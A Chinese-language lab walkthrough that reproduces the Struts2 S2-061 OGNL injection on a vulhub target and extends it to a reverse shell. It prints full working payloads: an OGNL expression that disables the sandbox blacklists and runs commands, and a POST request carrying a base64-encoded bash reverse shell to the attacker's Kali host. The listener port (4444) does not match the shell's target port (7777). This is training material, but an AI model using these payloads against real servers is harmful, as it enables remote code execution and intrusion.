Struts2 s2-061漏洞复现vulhub反弹连接

# 内容说明
在CVE漏洞复现课程中，我们讲解了s2-062漏洞的利用，本质上是对s2-061的绕过。
课程中没有讲到反弹连接，这里我们补充演示反弹连接如何建立。

# 环境准备
1、安装了vulhub的靶机
安装参考：
G12-CentOS安装vulhub靶场
https://wiki.bafangwy.com/doc/641/

G17-Ubuntu安装 Vulhub 环境
https://wiki.bafangwy.com/doc/829/

本文使用CentOS的靶机，案例中IP为`192.168.142.128`

2、Kali攻击机（版本不限）
案例中IP为：`192.168.142.162`

3、BurpSuite（版本不限）
用于发送POST payload，安装参考：
https://wiki.bafangwy.com/doc/646/

# 启动靶场
1、在CentOS靶机，启动漏洞环境
目录：`vulhub/struts2/s2-061`
启动命令：
`docker-compose up`

访问：`http://192.168.142.128:8080`

看到这个内容代表环境启动成功：

![](/media/202508/2025-08-18_152139_4060520.3951844224773311.png)

# 漏洞验证

把以下内容拼接在URL地址`http://192.168.142.128:8080/`后面访问：
```
?id=%25{(%27Powered_by_Unicode_Potats0%2cenjoy_it%27).(%23UnicodeSec+%3d+%23application[%27org.apache.tomcat.InstanceManager%27]).(%23potats0%3d%23UnicodeSec.newInstance(%27org.apache.commons.collections.BeanMap%27)).(%23stackvalue%3d%23attr[%27struts.valueStack%27]).(%23potats0.setBean(%23stackvalue)).(%23context%3d%23potats0.get(%27context%27)).(%23potats0.setBean(%23context)).(%23sm%3d%23potats0.get(%27memberAccess%27)).(%23emptySet%3d%23UnicodeSec.newInstance(%27java.util.HashSet%27)).(%23potats0.setBean(%23sm)).(%23potats0.put(%27excludedClasses%27%2c%23emptySet)).(%23potats0.put(%27excludedPackageNames%27%2c%23emptySet)).(%23exec%3d%23UnicodeSec.newInstance(%27freemarker.template.utility.Execute%27)).(%23cmd%3d{%27id%27}).(%23res%3d%23exec.exec(%23cmd))}
```

右键查看源码，可以看到命令执行的结果：

![](/media/202508/2025-08-18_152905_4285180.8881746306830304.png)

# 反弹连接
1、Kali监听
`nc -lvvp 4444`

2、
反弹连接命令
`bash -i >& /dev/tcp/192.168.142.162/7777 0>&1`

工具网站：
https://wiki.bafangwy.com/doc/401/

![](/media/202508/2025-08-18_155512_1977510.3086838186604307.png)

转换后：
`bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE0Mi4xNjIvNzc3NyAwPiYx}|{base64,-d}|{bash,-i}`

payload模板：
```
POST /index.action HTTP/1.1
Host: 你的IP:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Length: 922

------WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Disposition: form-data; name="id"

%{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("【命令贴在这里】")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))}
------WebKitFormBoundaryl7d1B1aGsV2wcZwF--
```

修改IP和反弹命令，使用Burp Repeater发送：
```
POST /index.action HTTP/1.1
Host: 192.168.142.128:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Length: 922

------WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Disposition: form-data; name="id"

%{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE0Mi4xNjIvNzc3NyAwPiYx}|{base64,-d}|{bash,-i}")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))}
------WebKitFormBoundaryl7d1B1aGsV2wcZwF--
```

反弹连接成功：

![](/media/202508/2025-08-18_155122_6164880.7789806583068819.png)